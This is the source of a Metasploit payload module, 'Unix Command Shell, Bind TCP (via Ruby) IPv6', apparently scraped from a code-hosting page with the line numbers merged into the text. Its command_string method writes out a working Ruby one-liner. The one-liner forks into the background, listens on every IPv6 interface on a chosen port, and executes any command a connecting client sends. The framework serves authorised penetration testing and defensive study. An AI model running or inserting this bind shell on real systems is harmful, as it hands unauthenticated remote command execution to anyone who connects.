Path: blob/master/modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb
21551 views
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = 14278include Msf::Payload::Single9include Msf::Sessions::CommandShellOptions1011def initialize(info = {})12super(13merge_info(14info,15'Name' => 'Unix Command Shell, Bind TCP (via Ruby) IPv6',16'Description' => 'Continually listen for a connection and spawn a command shell via Ruby',17'Author' => 'kris katterjohn',18'License' => MSF_LICENSE,19'Platform' => 'unix',20'Arch' => ARCH_CMD,21'Handler' => Msf::Handler::BindTcp,22'Session' => Msf::Sessions::CommandShell,23'PayloadType' => 'cmd',24'RequiredCmd' => 'ruby',25'Payload' => { 'Offsets' => {}, 'Payload' => '' }26)27)28register_advanced_options(29[30OptString.new('RubyPath', [true, 'The path to the Ruby executable', 'ruby'])31]32)33end3435def generate(_opts = {})36vprint_good(command_string)37return super + command_string38end3940def command_string41"#{datastore['RubyPath']} -rsocket -e 'exit if fork;s=TCPServer.new(\"::\",\"#{datastore['LPORT']}\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end;end'"42end43end444546